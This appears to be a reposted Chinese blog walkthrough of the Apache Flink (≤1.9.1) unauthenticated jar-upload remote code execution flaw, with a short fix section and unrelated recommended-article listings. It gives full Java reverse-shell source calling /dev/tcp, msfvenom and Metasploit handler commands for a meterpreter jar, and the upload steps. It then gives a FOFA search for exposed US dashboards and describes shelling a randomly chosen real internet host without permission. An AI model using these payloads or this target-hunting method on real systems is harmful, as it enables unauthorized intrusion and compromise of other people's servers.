apache flink任意jar包上传导致远程代码执行的示例分析

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

<= 1.9.1(最新版本)

环境搭建:

(1) 提前安装好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下载flink-1.9.1

下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解压下载的压缩包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

(4) 进去到解压后的目录中,来到其bin目录下:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) 启动flink:

./start-cluster.sh

(6) 浏览器访问验证(默认端口为8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

出现上图即搭建成功.

(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)

apache flink任意jar包上传导致远程代码执行的示例分析

开机自启设置

漏洞复现:

jar包制作步骤:

(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell

apache flink任意jar包上传导致远程代码执行的示例分析

记得修改ip和端口:

apache flink任意jar包上传导致远程代码执行的示例分析

代码:

package shell;public class Revs {
/** * @param args * @throws Exception */
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;
cat <&5 | while read line; do $line 2>&5 >&amp5; done"};
Process p = r.exec(cmd);
p.waitFor();
}}

(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)

apache flink任意jar包上传导致远程代码执行的示例分析

b.然后选择java–>Runnable JAR file

apache flink任意jar包上传导致远程代码执行的示例分析

c.然后选择对应的java项目和导出路径以及导出文件名

apache flink任意jar包上传导致远程代码执行的示例分析

图片

这样就生成了一个反弹shell的jar包

msf生成jar马:

(1) 利用msfvenom来生成一个jar马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

本地复现:

(1) 访问目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit New job,打开上传jar包的页面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 点击Add New选择我们制作好的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)

(5) 点击我们刚刚上传的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

互联网站点:

fofa关键词:

“apache-flink-dashboard” && country=”US”

apache flink任意jar包上传导致远程代码执行的示例分析

(1) 随便找一个目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit new Job,可以看到其可以允许我们上传jar包

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 利用flink上传jar包的功能将我们的jar包上传:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 上传后,我们在我们的vps上监听好端口

(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell

apache flink任意jar包上传导致远程代码执行的示例分析

漏洞修复:

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。

时刻关注官网,等待新版本或补丁更新

关于apache flink任意jar包上传导致远程代码执行的示例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文章标题:apache flink任意jar包上传导致远程代码执行的示例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/26817

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云亿速云认证作者
上一篇 2022年9月18日 下午10:45
下一篇 2022年9月18日 下午10:47

相关推荐

  • Redis如何实现排行榜及相同积分按时间排序功能

    在日常的开发中,经常会碰到需要对用户的分值等进行排序,比如在游戏里面需要对战斗力进行排行,在组队活动中需要对各个队伍的贡献值进行排行,在微信中需要对各个好友的步数进行排行,此时一般会选择redis的有序集合对用户的分数进行存储,从而实现排行榜的需求,但是不同的场景排行榜的方式也略有不同,以下根据自己…

    2022年8月30日
    48600
  • 如何利用sqlmapapi发起扫描

    sqlmap可谓是sql注入探测的神器,但是利用sqlmap测试SQL注入的效率很低,每一个url都需要手动测试。sqlmap的开发者新加了sqlmapapi.py,可以直接通过接口调用来操作,简化了sqlmap命令执行方式。 sqlmap api分为服务端和客户端,sqlmap api有两种模式,…

    2022年9月10日
    34300
  • php判断数组中指定值是不是最后一个元素

    两种判断方法:1、利用end()函数和“===”运算符,获取数组最后一个元素的值,比较该元素值是否为指定值即可,语法“end($arr===”指定值”)”,如果相等则是,反之则不是。2、利用array_pop()函数和“===”运算符,语法“array_pop($arr===…

    2022年9月16日
    26700
  • windows任务管理器被系统管理员停用怎么解决

    任务管理器被管理员停用的恢复方法 1、快捷键Win+R,输入gpedit.msc,回车。 2、依次展开“用户配置–>管理模板–>系统–>Ctrl+Alt+Del选项”,在右侧双击“删除任务管理器” 3、然后在“设置”选项卡中选择未配置或者已禁用选…

    2022年9月6日
    18100
  • 内核和linux系统的区别有哪些

    linux内核和linux系统的区别:1、linux操作系统是包含linux内核的,是将linux内核进行扩展,而linux内核只提供了硬件抽象层、硬盘以及文件系统控制的核心程序;2、linux系统会在内核的基础上加入了用户界面和各种软件的支持,而linux内核则没有用户界面和软件的支持。

    2022年6月29日
    52700
  • pr视频怎么导出为手机视频大小

    pr视频导出为手机视频大小的方法: 1、首先,我们点击左上角“文件”并新建一个“项目” 2、新建后,右键空白处,选择“新建”一个“序列” 3、然后进入“设置”,根据图示参数进行设置,最重要的是设置“垂直比9:16” (手机常用的大小有360×640、750×1334、720&#2…

    2022年8月31日
    31500
  • 电脑0x80070035找不到网络路径怎么解决

    解决0x80070035找不到网络路径的方法 方法一: 1、我们先单击“网络”,“打开网络和Internet设置” 2、接着我们选择下“网络和共享中心” 3、接着我们选择“更改高级共享设置” 4、接着我们勾选“启用共享以便可以访问网络的用户读取公用文件夹中的文件” 5、到了“网络和共享中心”,我们直…

    2022年9月15日
    76700
  • Redis RESP协议如何实现

    回顾RESP协议 RESP是基于TCP来实现的Redis通信协议,该协议是以/r/n(行)进行分割的,协议支持5种类型,具体信息如下: 类型 前缀 备注 简单字符串 + 简单字符串以+开头 错误数据 – 错误数据以-开头 整数 : 整数以:开头 复杂字符串 $ 复杂字符串以$开头 数组 …

    2022年9月8日
    14100
  • mysql索引的查询语句怎么写

    mysql索引的查询语句是“SHOW INDEX”,可以返回与当前数据库或指定数据库中的表关联的索引信息,完整语法“SHOW INDEX FROM 表名 [FROM 数据库名];”;其中,“FROM 数据库名”选项是可选的,省略则返回当前数据库中表关联的索引信息,若不省略则返回指定数据库中表的索引信…

    2022年9月26日
    22500
  • 怎么用teamviewer远程控制正在初始化显示参数

    teamviewer远程控制正在初始化显示参数: 1、如果你的电脑上有什么桌面整理大师,或者壁纸软件等桌面软件的话,请彻底关闭后,再重新连接。 2、如果通过远程桌面方式运行了teamview被控端也会出现这个现象。所以不要通过远程桌面进行启用。 3、在你用win远程桌面安装tw后,启动的tw里面因为…

    2022年9月5日
    40000
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部